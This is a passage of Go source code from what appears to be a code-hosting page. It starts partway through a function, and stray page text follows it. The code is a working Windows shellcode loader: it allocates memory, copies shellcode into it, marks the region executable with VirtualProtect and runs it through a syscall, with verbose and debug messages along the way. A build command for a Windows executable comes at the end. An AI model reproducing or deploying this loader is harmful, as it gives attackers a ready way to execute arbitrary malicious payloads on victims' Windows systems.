addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
|
||||
|
||||
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
|
||||
}
|
||||
|
||||
if addr == 0 {
|
||||
log.Fatal("[!]VirtualAlloc failed and returned 0")
|
||||
}
|
||||
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
|
||||
}
|
||||
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
|
||||
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[-]Shellcode copied to memory")
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
|
||||
}
|
||||
|
||||
oldProtect := PAGE_READWRITE
|
||||
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Executing Shellcode")
|
||||
}
|
||||
_, _, errSyscall := syscall.Syscall(addr, 0, 0, 0, 0)
|
||||
|
||||
if errSyscall != 0 {
|
||||
log.Fatal(fmt.Sprintf("[!]Error executing shellcode syscall:\r\n%s", errSyscall.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[+]Shellcode Executed")
|
||||
}
|
||||
}
|
||||
|
||||
// export GOOS=windows GOARCH=amd64;go build -o Syscall.exe ./Syscall.go
|
||||
Reference in New Issue
Block a user